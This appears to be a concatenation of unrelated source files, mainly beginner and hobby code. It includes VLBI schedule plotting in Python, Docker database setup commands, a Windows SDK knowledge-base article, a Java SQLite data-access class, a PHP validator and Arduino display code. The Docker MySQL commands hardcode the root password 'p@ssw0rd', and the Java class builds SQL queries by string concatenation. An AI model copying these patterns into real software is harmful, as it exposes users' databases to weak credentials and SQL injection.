ax.plot(x, df["sim_repeatability_dUT1_[mus]"], label="rep", marker='o') ax.plot(x, df["sim_mean_formal_error_dUT1_[mus]"], label="mfe", marker='o') ax.set_title("dUT1") ax.set_ylabel("$\mu$s") ax.legend(loc='best') elif field == "POL": ax.plot(x, df["sim_repeatability_x_pol_[muas]"], marker='^', label="X rep") ax.plot(x, df["sim_mean_formal_error_x_pol_[muas]"], marker='^', label="X mfe") ax.plot(x, df["sim_repeatability_y_pol_[muas]"], marker='v', label="Y rep", linestyle="dashed") ax.plot(x, df["sim_mean_formal_error_y_pol_[muas]"], marker='v', label="Y mfe", linestyle="dashed") ax.legend(loc='best') ax.set_title("POL") ax.set_ylabel("$\mu$as") elif field == "NUT": ax.plot(x, df["sim_repeatability_x_nut_[muas]"], marker='^', label="X rep") ax.plot(x, df["sim_mean_formal_error_x_nut_[muas]"], marker='^', label="X mfe") ax.plot(x, df["sim_repeatability_y_nut_[muas]"], marker='v', label="Y rep", linestyle="dashed") ax.plot(x, df["sim_mean_formal_error_y_nut_[muas]"], marker='v', label="Y mfe", linestyle="dashed") ax.legend(loc='best') ax.set_title("NUT") ax.set_ylabel("$\mu$as") elif field == "COORD": df_rep_sta = df[[c for c in df.columns if c.startswith('sim_repeatability_') and not c.endswith("]")]].copy() df_rep_sta.drop("sim_repeatability_n_sim", axis=1, inplace=True) rep_sta = df_rep_sta.mean(axis=1) rep_sta_std = df_rep_sta.std(axis=1) df_mfe_sta = df[ [c for c in df.columns if c.startswith('sim_mean_formal_error_') and not c.endswith("]")]].copy() df_mfe_sta.drop("sim_mean_formal_error_n_sim", axis=1, inplace=True) mfe_sta = df_mfe_sta.mean(axis=1) mfe_sta_std = df_mfe_sta.std(axis=1) ax.errorbar(x, rep_sta, yerr=rep_sta_std, marker='o', label="rep") ax.errorbar(x, mfe_sta, yerr=mfe_sta_std, marker='o', label="mfe") ax.legend(loc='best') ax.set_title("3d sta-coordinates") ax.set_ylabel("mm") elif field == "sources_per_obs": n_src_obs = [c for c in df.columns if c.startswith('n_src_obs_')] df_src_obs = df[n_src_obs] maxmax = df_src_obs.max().max() if maxmax < 100: step = int(maxmax / 10) + 1 bins = np.arange(1, maxmax + 2 * step, step, dtype=int).tolist() else: bins = [1, 34, 68, 101, 201, 301, 501, 701, 1301, float('inf')] s_obs = [] header = [] for s, e in zip(bins[0:-1], bins[1:]): s_obs.append(((df_src_obs >= s) & (df_src_obs < e)).sum(axis=1)) if s == e - 1: header.append(f"{s} obs") else: header.append(f"{s}-{e - 1} obs") df_sources_obs = pd.concat(s_obs, axis=1) df_sources_obs.columns = header ax.set_title("#sources per #obs") storage = np.zeros((df_sources_obs.shape[0])) for c, ec, fc in zip(df_sources_obs.columns[::-1], ecs, fcs): s = df_sources_obs[c] l = c[:-4] l = l.replace("-inf", "+") ax.bar(x, s, label=l, bottom=storage, width=.6, ec=ec, fc=fc) storage += s handles, labels = ax.get_legend_handles_labels() legend = ax.legend(reversed(handles), reversed(labels), title='obs', loc='lower left') legend.get_frame().set_alpha(None) legend.get_frame().set_facecolor((1, 1, 1, 0.45)) elif field == "sources_per_scans": ax.set_title("#sources per #scans") n_src_scans = [c for c in df.columns if c.startswith('n_src_scans_')] df_src = df[n_src_scans] maxmax = df_src.max().max() if maxmax < 100: step = int(maxmax / 10) + 1 bins = np.arange(1, maxmax + 2 * step, step, dtype=int).tolist() else: bins = [1, 5, 10, 15, 20, 30, 40, float('inf')] s_scans = [] header = [] for s, e in zip(bins[0:-1], bins[1:]): s_scans.append(((df_src >= s) & (df_src < e)).sum(axis=1)) if s == e - 1: header.append(f"{s} obs") else: header.append(f"{s}-{e - 1} obs") df_src_scans = pd.concat(s_scans, axis=1) df_src_scans.columns = header storage = np.zeros((df.shape[0])) for c, ec, fc in zip(df_src_scans.columns[::-1], ecs, fcs): s = df_src_scans[c] l = c[:-4] l = l.replace("-inf", "+") ax.bar(x, s, label=l, bottom=storage, width=.6, ec=ec, fc=fc) storage += s handles, labels = ax.get_legend_handles_labels() legend = ax.legend(reversed(handles), reversed(labels), title='scans', loc='lower left') legend.get_frame().set_alpha(None) legend.get_frame().set_facecolor((1, 1, 1, 0.45)) def polar_plots(skd, output, attribute_name): """ generate sky-coverage plot with color-coded duration or scan start time :param skd: parsed sked file :param output: output directory path :param attribute_name: "duration" or "start_time" :return: None """ stations = [sta.name for sta in skd.stations] n = len(stations) r = math.floor(math.sqrt(n)) c = math.ceil(n / r) all_obs = [o for scan in skd.getScanList() for o in scan.observations] start_times = [o.scan.start_time for o in all_obs] fig, axes = plt.subplots(r, c, figsize=(c * 4, r * 4), subplot_kw={"projection": "polar"}) h = [] for sta, ax in zip(stations, axes.flat): h.append(polar_plot_per_station(all_obs, sta, ax, attribute_name)) if n <= 3: fig.subplots_adjust(left=0.05, right=0.95, bottom=0.225, top=0.9, wspace=0.2, hspace=0.25) cbar_ax = fig.add_axes([0.05, 0.125, 0.9, 0.025]) else: fig.subplots_adjust(left=0.05, right=0.95, bottom=0.15, top=0.95, wspace=0.2, hspace=0.25) cbar_ax = fig.add_axes([0.05, 0.07, 0.9, 0.025]) fig.colorbar(h[0], cax=cbar_ax, orientation="horizontal") if attribute_name == "duration": cbar_ax.set_xlabel("duration [sec]") vmin = min([o.duration for o in all_obs]) vmax = max([o.duration for o in all_obs]) for this_h in h: this_h.set_clim(vmin, vmax) cbar_ax.set_xlabel("integration time [sec]") elif attribute_name == "start_time": vmin = min([o.scan.start_time for o in all_obs]) vmax = max([o.scan.start_time for o in all_obs]) vmax = (vmax - vmin).total_seconds() / 3600. vmin = 0.0 for this_h in h: this_h.set_clim(vmin, vmax) cbar_ax.set_xlabel("time since observation start [h]") plt.savefig(os.path.join(output, "{:s}.png".format(attribute_name)), dpi=150) def polar_plot_per_station(all_obs, station, ax, attribute_name): """ generate one sky-coverage plot in axes :param all_obs: list of all observations :param station: station name :param ax: axes :param attribute_name: "duration" or "start_time" :return: """ if attribute_name == "duration": vmin = min([o.duration for o in all_obs]) vmax = max([o.duration for o in all_obs]) elif attribute_name == "start_time": vmin = min([o.scan.start_time for o in all_obs]) vmax = max([o.scan.start_time for o in all_obs]) else: vmin = 0 vmax = 1 obs = [o for o in all_obs if o.station.name == station] az = np.array([o.az_start for o in obs]) el = np.array([o.el_start for o in obs]) zd = 90 - np.degrees(el) if attribute_name == "duration": target = np.array([o.duration for o in obs]) cmap = "RdYlGn_r" elif attribute_name == "start_time": target = np.array([(o.scan.start_time - vmin).total_seconds() / 3600. for o in obs]) vmax = (vmax - vmin).total_seconds() / 3600. vmin = 0.0 cmap = "gist_rainbow" else: target = np.full(az.shape, 0.0) cmap = "Greys" ax.set_theta_zero_location("N") ax.set_theta_direction(-1) ax.set_ylim([0, 90]) ax.set_yticks(np.arange(15, 91, 15)) labels = ["", "NE", "E", "SE", "S", "SW", "W", "NW"] ax.set_xticklabels(labels) ax.set_title(station) h = ax.scatter(az, zd, c=target, cmap=cmap, alpha=0.75, vmin=vmin, vmax=vmax, edgecolors='k') return h def close_all(): """ close all figures Returns ------- """ plt.close('all') if __name__ == "__main__": import skd_parser.skd as skd_parser skd = skd_parser.skdParser(r'C:/programming/q20348.skd') skd.parse() polar_plots(skd, 'C:/programming/', "duration") # import pandas as pd # df = pd.read_csv(r'C:\Users\Matthias Schartner\Desktop\Neuer Ordner\summary.txt',index_col=0) # df = df.tail(10) # summary(df, 'C:/programming/')
Markdown
UTF-8
2,732
2.640625
3
[]
no_license
# Commands for Quick Docker Servers * [MongoDB](#mongodb) * [Postgres](#postgres) * [Mysql](#mysql) * [ElasticSearch](#elasticsearch) ## MongoDB #### Keep data in container volume ```sh docker run -d \ --name mongodb \ -p 127.0.0.1:27017:27017 \ mongo:3 bash -c 'mongod --bind_ip 0.0.0.0 --logappend --storageEngine=wiredTiger' ``` #### Keep data in 'mounted volume/path' at `$HOME/mongodb` ```sh mkdir -p $HOME/mongodb/data docker run -d \ --name mongodb \ --restart on-failure:15 \ -p 127.0.0.1:27017:27017 \ -v $HOME/mongodb:/data \ mongo:4 bash -c 'mongod --bind_ip 0.0.0.0 --logpath /data/mongodb.log --logappend --dbpath /data/data --storageEngine=wiredTiger' ``` ## Postgres > **Note:** To persist data in the host filesystem, add this `volume` option: `-v $HOME/postgres:/var/lib/postgresql/data/db` #### Store data inside container volume ```sh docker run -d \ --name postgresdb \ --restart on-failure:15 \ -p 127.0.0.1:5432:5432 \ -e PGDATA=/var/lib/postgresql/data/db \ -e POSTGRES_USER=$USER \ -e POSTGRES_DB=$USER \ -e POSTGRES_INITDB_ARGS="--data-checksums -h '0.0.0.0'" \ postgres:9.6-alpine ``` **IMPORTANT:** If you see the following error, see fix below: ```sh $ psql psql: could not connect to server: Socket operation on non-socket Is the server running locally and accepting connections on Unix domain socket "/tmp/.s.PGSQL.5432"? ``` To access server via your 'local' terminal and code: configure connection with the local address `127.0.0.1` ```sh # Option 1: Explicitly set `--host` CLI argument createdb --host 127.0.0.1 foobar # Option 2: Set host for all postgres CLI tools via $PGHOST export PGHOST=127.0.0.1 psql # should work ``` ## MySQL > **CRITICAL TODO: CHANGE PASSWORD!!!** ```sh # CRITICAL TODO: CHANGE PASSWORD!!! docker run -d \ -p 127.0.0.1:3306:3306 \ --name mysql-$USER \ -e MYSQL_DATABASE=$USER \ -e MYSQL_ROOT_HOST='172.*.*.*' \ -e MYSQL_ROOT_PASSWORD='p@ssw0rd' \ mysql/mysql-server:5.7 ``` #### Keep data in 'mounted' volume/path at `$HOME/mysql` > **CRITICAL TODO: CHANGE PASSWORD!!!** ```sh mkdir -p $HOME/mysql docker run -d \ -v $HOME/mysql:/var/lib/mysql \ -p 127.0.0.1:3306:3306 \ --name mysql-$USER \ -e MYSQL_DATABASE=$USER \ -e MYSQL_ROOT_HOST='172.*.*.*' \ -e MYSQL_ROOT_PASSWORD='p@ssw0rd' \ mysql/mysql-server:5.7 ``` ## ElasticSearch ```sh cd $HOME/elastic docker run -d \ --name elastic01 \ -p 127.0.0.1:9200:9200 \ -p 127.0.0.1:9300:9300 \ -v $HOME/elastic:/data \ elasticsearch bash -c 'elasticsearch --cluster.name es_cluster --node.name elastic01 --path.data /data/db --path.logs /data/logs ' ``` ### Misc: Password Generator ```sh pwgen -N 1 -s 20 ```
Markdown
UTF-8
3,940
2.6875
3
[]
no_license
--- layout: page title: "Q22242: PRB: Area Around Text and Remainder of Window Different Colors" permalink: /kb/022/Q22242/ --- ## Q22242: PRB: Area Around Text and Remainder of Window Different Colors {% raw %} Article: Q22242 Product(s): Microsoft Windows Software Development Kit Version(s): WINDOWS:3.1,95; winnt:3.5,3.51,4.0 Operating System(s): Keyword(s): kbOSWinNT350 kbOSWinNT351 kbOSWinNT400 kbOSWin95 kbSDKWin16 Last Modified: 11-MAY-2001 ------------------------------------------------------------------------------- The information in this article applies to: - Microsoft Windows Software Development Kit (SDK) 3.1 - Microsoft Win32 Application Programming Interface (API), used with: - Microsoft Windows NT Server versions 3.5, 3.51, 4.0 - Microsoft Windows NT Workstation versions 3.5, 3.51, 4.0 ------------------------------------------------------------------------------- SYMPTOMS ======== When text is painted into a window, an area around the text is a different color than the remainder of the window. CAUSE ===== The area around the text is painted with a solid color while the remainder of the window is painted using a dithered color. RESOLUTION ========== To make the area around the text and the remainder of the window have the same color, perform one of the following two steps: - Use a solid color for the window background, and use the same color for the text background. To ensure that a color is a solid color, use the GetNearestColor function. This function returns the nearest solid color available to represent the specified color. -or- - Call the SetBkMode function to specify TRANSPARENT mode for the text. Doing so prevents Windows from painting the area behind the text. The window background color shows through instead. STATUS ====== This behavior is by design. MORE INFORMATION ================ By default, when an application paints text into its window, Windows fills the area around the character with the current background color. Windows always uses a solid color for this purpose. When an application registers a window class, it specifies a handle to a brush that Windows uses to paint the window background. On some output devices, brushes can create dithered colors. On one of these devices, the area behind painted text might have a different color than the remainder of the window. The following code specifies the window background color: #define ELANGREEN 0x003FFF00 pTemplateClass->hbrBackground = CreateSolidBrush((DWORD)ELANGREEN); The following code specifies the color used to paint around text and draws some text into a device context: #define SZ -1 SetBkColor(hDC, (DWORD)ELANGREEN); DrawText(hDC, (LPSTR)"text", SZ, (LPRECT)&Rect, DT_BOTTOM); The color used to paint the area around the text has a yellow cast, which gives it a slightly different appearance than the window background color. A brush may be able to represent a wider color range than the solid colors because a brush covers an area while a solid color may be used to paint nominal-width lines (for example, lines that are one device unit wide) that must be the same color at all locations and angles. Therefore, the device-driver writer has the option of providing dithered colors for brushes, but has no such freedom when it comes to the solid colors for drawing lines. Additional query words: 3.00 3.10 3.50 4.00 win16sdk ====================================================================== Keywords : kbOSWinNT350 kbOSWinNT351 kbOSWinNT400 kbOSWin95 kbSDKWin16 Technology : kbAudDeveloper kbSDKSearch kbWin32sSearch kbWin32API kbWinSDKSearch Version : WINDOWS:3.1,95; winnt:3.5,3.51,4.0 Issue type : kbprb ============================================================================= {% endraw %}
C#
UTF-8
430
2.75
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; //A method not to be tested. is there to verify that the testing engine can distinguish test //classes from classes that arent tests. namespace SampleTests { public class HelperUtil { public void Test() { Console.WriteLine("Do Not Print"); } } }
Python
UTF-8
531
3.75
4
[]
no_license
x = 5 y = 2 print (x+y) list = ['Atheer',11111,'Nura',22222,'Maha',66666,'Sara',77777] print(list) print(list[2:5]) list[1] = 1234567 print(list) tuple = ('Aljohara',33333,'Laila',444444) print(tuple) List1 = [1,3,5,7] List2 = [2,4,6,8] List3 = [List1,List2] print(List3) print(List3[0]) print(List3[1]) print(List3[0][1]) var1 = 100 if var1: print ('The variable 1 is:') print(var1) var2 = 0 if var2: print('The variable 2 is: ') print(var2) print('Goodbye') amount = int(input("Enter a number: "))
Python
UTF-8
2,390
3.265625
3
[]
no_license
from collections import defaultdict p = 31 m = 10 ** 9 + 9 def compute_hash(s): n = len(s) power_mod = [1] for i in range(n): power_mod.append((power_mod[-1] * p) % m) hash_values = [0] * (n + 1) for i in range(n): hash_values[i + 1] = (hash_values[i] + (ord(s[i]) - ord('a') + 1) * power_mod[i]) % m def count_occurences(text, pattern): text_length = len(text) pattern_length = len(pattern) power_mod = [1] for i in range(text_length): power_mod.append((power_mod[-1] * p) % m) hash_values = [0] * (text_length + 1) for i in range(text_length): hash_values[i + 1] = (hash_values[i] + (ord(text[i]) - ord('a') + 1) * power_mod[i]) % m pattern_hash = 0 for i in range(pattern_length): pattern_hash += ((ord(pattern[i]) - ord('a') + 1) * power_mod[i]) % m occurences = [] i = 0 while i + pattern_length - 1 < text_length: field_hash = (hash_values[i + pattern_length] - hash_values[i] + m) % m if field_hash == pattern_hash * power_mod[i] % m: occurences.append(i) i += 1 if occurences: return len(occurences) else: return 0 if __name__ == '__main__': t = int(input()) i = 0 while i < t: # For each test case n = int(input()) j = 0 hmap = defaultdict(str) last = None while j < n: ops = input() if ':=' in ops: k, v = ops.split(':=') if k: k = str(k).rstrip() if v: v = str(v).lstrip() hmap[k] = v last = v elif '=' in ops: left, right = ops.split('=') if left: left = str(left).rstrip() left = str(left).lstrip() if right: oper1, oper2 = right.split('+') if oper1: oper1 = str(oper1).lstrip() oper1 = str(oper1).rstrip() if oper2: oper2 = str(oper2).lstrip() oper2 = str(oper2).rstrip() hmap[left] = hmap[oper1] + hmap[oper2] last = hmap[left] j += 1 result = count_occurences(last, pattern='haha') print(result) i += 1
Python
UTF-8
889
3.65625
4
[]
no_license
# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def constructMaximumBinaryTree(self, nums): """ :type nums: List[int] :rtype: TreeNode """ def f(l, r): if l > r: return None index, maximum = self.find_max(nums, l, r) node = TreeNode(maximum) node.left = f(l, index-1) node.right = f(index+1, r) return node return f(0, len(nums)-1) def find_max(self, nums, l, r): maximum = float('-inf') index = None for i in range(l, r+1): if nums[i] > maximum: maximum = nums[i] index = i return (index, maximum)
JavaScript
UTF-8
2,188
3.625
4
[]
no_license
let box = document.getElementById('box'), btn = document.getElementsByTagName('button'), circle = document.getElementsByClassName('circle'), heart = document.querySelectorAll('.heart'), oneHeart = document.querySelector('.heart'), wrapper = document.querySelector('.wrapper'); box.style.backgroundColor = 'blue'; btn[1].style.borderRadius = '100%'; circle[0].style.backgroundColor = 'red'; circle[1].style.backgroundColor = 'yellow'; circle[2].style.backgroundColor = 'green'; //изменение свойств элементов в циклах for и forEarch // for (let i = 0; i < heart.length; i++) { // heart[i].style.backgroundColor = 'blue'; // } // heart.forEach(function(item, i , heards) { // item.style.backgroundColor = 'blue'; // }); //создание новых элементов let div = document.createElement('div'), text = document.createTextNode('Тут был я!'); div.classList.add('black'); //добавление класса к элементу div //document.body.appendChild(div); //добавление элемента div на страницу //wrapper.appendChild(div); document.body.insertBefore(div, circle[0]);//вставка div перед первым кружком document.body.removeChild(circle[1]); //удаление второго кружка (родитель body) wrapper.removeChild(heart[1]); //удаление второго сердечка (родитель wrapper) document.body.replaceChild(btn[1], circle[1]); //замена одного элемента другим, кружка на кнопку //div.innerHTML = '<h1>Hello World!</h1>'; //вставка любого текста в элемент div div.textContent = '<h1>Hello World!</h1>'; //вставка только текста в элемент div(теги не сработают вставятся, как текст) console.log(div); /* выбор селектора класс - "." id - "#" атрибут - "[]" и т.д. */ // console.log(box); // console.log(btn); // console.log(btn[0]); // console.log(circle[2]); // console.log(heart); // console.log(heart[1]); // console.log(oneHeart);
Java
UTF-8
4,057
2.65625
3
[]
no_license
package ru.kobatejib.telegram.bot.bittrex.service; import java.sql.*; import java.util.ArrayList; import java.util.List; import ru.kobatejib.telegram.bot.bittrex.entyte.Order; import ru.kobatejib.telegram.bot.bittrex.utility.DataBaseUtility; /** * Created by Kovatelj on 17.07.2017. */ public class DataBaseService { public Connection connection= null; private static DataBaseService INSTANCE = new DataBaseService(); private DataBaseService() { } public static DataBaseService getInstance() { return INSTANCE; } public void connect() throws ClassNotFoundException, SQLException { try { Class.forName("org.sqlite.JDBC"); connection = DriverManager.getConnection("jdbc:sqlite:bittrex.db"); System.out.println("Connection OK"); } catch (Exception e) { System.out.println(e.getMessage()); } } public void createDb() throws ClassNotFoundException, SQLException { if (connection != null) { Statement statement = null; try { statement = connection.createStatement(); statement.execute("CREATE TABLE if not exists 'bittrex' " + "('id' INTEGER PRIMARY KEY AUTOINCREMENT, " + "'order_type' text, " + "'order_uuid' text, " + "'exchange' text, " + "'quantity' text, " + "'price' text, " + "'opened' text, " + "'closed' text);"); System.out.println("Create table OK"); } catch (Exception e) { System.out.println(e.getMessage()); } finally { if (statement != null) { statement.close(); } } } else { System.out.println("Error createDb is null"); } } public void writeDb(Order order) throws ClassNotFoundException, SQLException { if (connection != null) { Statement statement = null; try { statement = connection.createStatement(); statement.execute("INSERT INTO bittrex (" + "order_type, " + "order_uuid, " + "exchange, " + "quantity, " + "price, " + "opened, " + "closed) " + "VALUES " + "('" + order.getOrderType() + "', '" + order.getOrderUuid() + "', '" + order.getExchange() + "', '" + order.getQuantity() + "', '" + order.getPrice() + "', '" + order.getOpened() + "', '" + order.getClosed() + "');"); } catch (Exception e) { System.out.println(e.getMessage()); } finally { if (statement != null) { statement.close(); } } } else { System.out.println("Error writeDb is null"); } } public void updateDb(String uuid, String closed) throws ClassNotFoundException, SQLException { if (connection != null) { Statement statement = null; try { statement = connection.createStatement(); statement.execute("UPDATE bittrex SET closed='" + closed + "' WHERE order_uuid='" + uuid + "';"); } catch (Exception e) { System.out.println(e.getMessage()); } finally { if (statement != null) { statement.close(); } } } else { System.out.println("Error writeDb is null"); } } public List<Order> findAllByClosed(Boolean closed) throws ClassNotFoundException, SQLException { List<Order> orders = new ArrayList<Order>(); String closedParam = DataBaseUtility.convertBoolean2String(closed); Statement statement = null; if (connection != null) { try { statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery( "SELECT * FROM 'bittrex' WHERE closed='" + closedParam + "';"); orders = DataBaseUtility.convertResultSet2ListOrders(resultSet); } catch (Exception e) { System.out.println(e.getMessage()); } finally { if (statement != null) { statement.close(); } } } else { System.out.println("Error findAllByClosed is null"); } return orders; } }
PHP
UTF-8
2,012
3
3
[]
no_license
<?php namespace Controllers; class BaseController { /** * Call the middleware by given name * * @param $name */ public function middleware($name){ $middlewares = [ 'auth' => 'Middleware\Authentication' ]; $middleware = new $middlewares[$name](); $middleware->handle(); } public function validate($request, $params, $back_url){ $errors = []; foreach ($params as $key => $rules){ $rules = explode('|', $rules); foreach ($rules as $rule){ $exp = explode(':', $rule); $rule = $exp[0]; $values = $exp[1]; $_key = str_replace('_', ' ', $key); switch ($rule){ case 'required': if(!isset($request[$key]) || !$request[$key]){ $message = $_key.' field is required'; array_push($errors, $message); } break; case 'email': if (!filter_var($request[$key], FILTER_VALIDATE_EMAIL)) { $message = $_key.' field is not a valid email address'; array_push($errors, $message); } break; case 'in': $array_values = explode(',', $values); if(!in_array($request[$key], $array_values)){ $message = $_key.' can contain only values: '.$values; array_push($errors, $message); } break; default: echo 'Invalid validation rule provided'; die(); break; } } } if($errors){ set_flash_errors($errors); redirect($back_url); } } }
C#
UTF-8
861
2.796875
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Demo4EmpDisplay.Models; namespace Demo4EmpDisplay.Services { //79. Make interface public public interface IEmployeeRepository { //80. Create a method to search employee whenever needed Employee GetEmployee(int id); //81. Read expected employees IEnumerable<Employee> GetEmployees(); //82. (Create)Add an employee Employee AddEmployee(Employee e); //83. Update an Employee Employee UpdateEmployee(Employee EmpUpdate); //84. Delete an Employee base on id Employee DeleteEmployee(int id); } //85. Create a class to implement everything //86. Add a class(MockEmployeeRepository) in Services Folder //87. Go to MockEmployeeRepository class }
C++
UTF-8
1,822
2.890625
3
[]
no_license
#include <Arduino.h> #include <SPI.h> #include <Adafruit_GFX.h> #include <Max72xxPanel.h> #define debug // display settings int pinCS = PA3; // Attach display CS to this pin (PA3), DIN to SPI1_MOSI (PA7) and CLK to SPI1_SCK (PA5) int numberOfHorizontalDisplays = 4; int numberOfVerticalDisplays = 1; int intensity = 7; // Use a value between 0 and 15 for brightness Max72xxPanel matrix = Max72xxPanel(pinCS, numberOfHorizontalDisplays, numberOfVerticalDisplays); // analog int audio_in = PB1; // demo string String tape = "@2019 ychurov@i.ua"; int wait = 20; // In milliseconds int spacer = 1; int width = 5 + spacer; // The font width is 5 pixels int width1 = 0 - width; // need to draw escaping char // copyright & demo void startup_demo() { for ( int i = 0 ; i < width * tape.length() + matrix.width() - 1 - spacer; i++ ) { matrix.fillScreen(LOW); int letter = i / width; int x = (matrix.width() - 1) - i % width; int y = (matrix.height() - 8) / 2; // center the text vertically while ( x + width - spacer >= 0 && letter >= 0 ) { if ( x > width1 && letter < tape.length() ) { matrix.drawChar(x, y, tape[letter], HIGH, LOW, 1); } letter--; x -= width; } matrix.write(); // Send bitmap to display delay(wait); } } void setup() { // put your setup code here, to run once: #ifdef debug Serial.begin(115200); Serial.println(); #endif // init displays for (int i = 0; i < numberOfHorizontalDisplays; i++) { matrix.setPosition(i, i, 0); // all displays stays in one row matrix.setRotation(i, 1); // all displays position is 90 degrees clockwise } matrix.setIntensity(intensity); // Use a value between 0 and 15 for brightness // demo startup_demo(); } void loop() { // put your main code here, to run repeatedly: }
Java
UTF-8
1,366
2.765625
3
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package w13; /** * * @author msa */ public class Ogrenci { public Ogrenci(String adiSoyadi, int ogrId) { this.adiSoyadi = adiSoyadi; this.ogrId = ogrId; } private String adiSoyadi; private int ogrId; //private int notlar[][] = new int[ders sayısı][her dersin not adedi]; int notlar[][] = new int[3][2]; public String getAdiSoyadi() { return adiSoyadi; } public void setAdiSoyadi(String adiSoyadi) { this.adiSoyadi = adiSoyadi; } public int getOgrId() { return ogrId; } public void setOgrId(int ogrId) { this.ogrId = ogrId; } public void setNotes(Ogrenci o){ for (int i = 0; i < 3; i++) { for (int j = 0; j < 2; j++) { o.notlar[i][j] = (int)(Math.random() * 100); } } } @Override public String toString(){ String temp = this.adiSoyadi + ","+ this.ogrId+"\n"; for (int i = 0; i < 3; i++) { for (int j = 0; j < 2; j++) { temp += this.notlar[i][j] + " "; } temp += "\n"; } return temp; } }
JavaScript
UTF-8
386
3.578125
4
[]
no_license
for (var i = 0; i < 5; i++) { k = (function (i) { return function() { console.log(i); }; })(i) } //k() let arr = [1,3]; let arr2 = [2,4]; arr.push(arr2); //console.log(arr.slice(-1)); console.log(1 + "2" + "2"); console.log(1 + +"2" + "2"); console.log(1 + -"1" + "2"); console.log(+"1" + "1" + "2"); console.log( "A" - "B" + "2"); console.log( "A" - "B" + 2);
C
UTF-8
1,131
2.78125
3
[]
no_license
#include "renderbuffer.h" renderbuffer *create_renderbuffer(int position, int color, int texture, int normal, int bone, int vertex_limit, int index_limit, bool map_buffer_range) { renderbuffer *r = safe_malloc(sizeof(renderbuffer)); r->position = position; r->color = color; r->texture = texture; r->normal = normal; r->bone = bone; r->vertex_pos = 0; r->vertex_size = vertex_limit * (position + color + texture + normal + bone) * sizeof(GLfloat); r->index_pos = 0; r->index_size = index_limit * sizeof(GLuint); r->index_offset = 0; r->map_buffer_range = map_buffer_range; if (map_buffer_range) { r->vertices = NULL; r->indices = NULL; } else { r->vertices = safe_malloc(r->vertex_size); r->indices = safe_malloc(r->index_size); } return r; } void renderbuffer_zero(renderbuffer *self) { self->vertex_pos = 0; self->index_pos = 0; self->index_offset = 0; } void renderbuffer_free(renderbuffer *self) { if (!self->map_buffer_range) { free(self->vertices); free(self->indices); } free(self); }
JavaScript
UTF-8
1,275
2.59375
3
[]
no_license
// const { gram } = require('../models') // module.exports = { // index: (req, res) => { // gram.all() // .then(grams => { // res.render('grams/index', { grams }) // }) // .catch(e => { // res.render('grams/index', { grams: [] }) // }) // }, // create: (req, res) => { // const { // srcUrl, // description, // price // } = req.body // if (!srcUrl) { // if there is no srcUrl // res.render('grams/new', { errors: ['Missing Image Url'] }) // } // gram.create({ srcUrl, description, price }) // .then( newGram => { // res.send(newGram) // }) // }, // new: (req, res) => { // res.render('grams/new') // }, // show: (req, res) => { // let { id } = req.params // id = parseInt(id) // gram.one(id) // .then(grams => { // if (grams.length > 0) { // res.render('grams/show', { gram: grams[0] }) // } else { // res.send(`No gram with ID:${id}`) // } // }) // }, // delete: (req, res) => { // let { id } = req.params // gram.delete(id) // .then(() => { // res.redirect('/grams') // }) // .catch(e => { // console.log(e) // }) // } // }
JavaScript
UTF-8
337
3.765625
4
[]
no_license
function swapperFunc(array, first, second) { let temp = array[first]; array[first] = array[second]; array[second] = temp; } function bubbleSort(array, length) { for (let j = length; j > 0; j--) { for (let i = 0; i < length; i++) { if (array[i] > array[i + 1]) swapperFunc(array, i, i + 1); } } return array; }
Markdown
UTF-8
1,811
3.03125
3
[]
no_license
--- layout: post title: "Word of 2016: Light" description: Cultivating a sense of levity and flexibility that doesn’t come naturally. categories: - Life and health image: word-of-2016-light.jpg published: false --- I’ve gone into 2016 with a *lightness* I’m not used to and it feels incredible. My nature: I’m goofy and cheerful, but I’m an uptight, overplanning, overworrier. Anxiety often gets the best of me. My habits: I’ve spent the past few years bettering my career, relationship, and mental health at the expense of my sluggish physical health. My desires: I admire those who are determined yet easygoing, who spend energy where it counts and ignore the rest. I long for a sense of practiced effortlessness, sprezzatura. Flourishing without overflowing. [Well-fed](http://rachelwcole.com/) and full. I decided at the beginning of the year I would focus the next twelve months on becoming *light*. Cultivating a sense of levity and flexibility that doesn’t come naturally. Feeling more at home in my body and less weighed down. Delighting those around me like a ball of sunshine (though I’ve been told I’m already great at that one.) I want to learn to face both tiny and towering troubles with grace. Adaptable, affable. My *lightness* will be flexible where my heaviness is fearful. Not necessarily seeking out change, but welcoming upon arrival. I want a heavy savings and a *light* debt, financially and emotionally. I want a richer relationship with my body. Sure, fewer in pounds and inches, but I will only be measuring by feeling. I’ll grow stronger and *lighter*, mentally and physically. Relieving & lifting myself from myself. Not shrinking to take up less space, but shedding insecurities to show off more of myself. No longer a burden, but a glow.
JavaScript
UTF-8
661
2.625
3
[]
no_license
function wrapper(str){ return "("+str+")"; } function attr_value_escape(value){ return "'"+str(value).replace(/'/g, "''")+"'"; } function str(obj){ return ''+obj; } function attr_name_escape(name){ var reserved = ["or","and","not","from","where","select","like","null","is","order","by","asc","desc","in","between","intersection","limit","every"]; var unescape_regex = /^[a-z_\$][\w_\$]*$/i; if(~reserved.indexOf(name) || !unescape_regex.test(name)){ name = "`"+name.replace(/`/g, "``")+"`"; } return name; } module.exports = { wrapper: wrapper, attr_name_escape: attr_name_escape, attr_value_escape: attr_value_escape, str: str, }
C++
UTF-8
606
2.671875
3
[]
no_license
//#include <iostream> //#include <vector> //#include <unordered_map> //#include <algorithm> // //using namespace std; // //class Solution { //public: // bool containsNearbyDuplicate(vector<int>& nums, int k) // { // unordered_map<int, vector<int>> map; // for (int i = 0; i < nums.size(); i++) // { // if (map.find(nums[i]) != map.end()) // { // for (int j = 0; j < map[nums[i]].size(); j++) // { // if (abs(i - map[nums[i]][j]) <= k)return true; // } // map[nums[i]].push_back(i); // } // else map.insert(make_pair(nums[i], vector<int>{i})); // // } // return false; // } //};
Python
UTF-8
2,748
3.390625
3
[]
no_license
